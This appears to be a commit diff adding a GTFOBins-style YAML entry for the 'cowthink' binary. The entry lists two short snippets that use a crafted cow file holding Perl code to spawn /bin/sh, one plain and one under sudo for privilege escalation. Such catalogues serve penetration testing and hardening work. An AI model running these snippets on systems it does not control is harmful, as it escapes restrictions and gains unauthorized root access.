add data source for cowthink
parent
d55607f8cc
commit
48ebfc9cd1
@ -0,0 +1,14 @@
|
|||||||
|
---
|
||||||
|
description: It allows to execute Perl code, other functions may apply.
|
||||||
|
functions:
|
||||||
|
shell:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo 'exec "/bin/sh";' >$TF
|
||||||
|
cowthink -f $TF x
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo 'exec "/bin/sh";' >$TF
|
||||||
|
sudo cowthink -f $TF x
|
||||||
|
---
|
Loading…
Reference in New Issue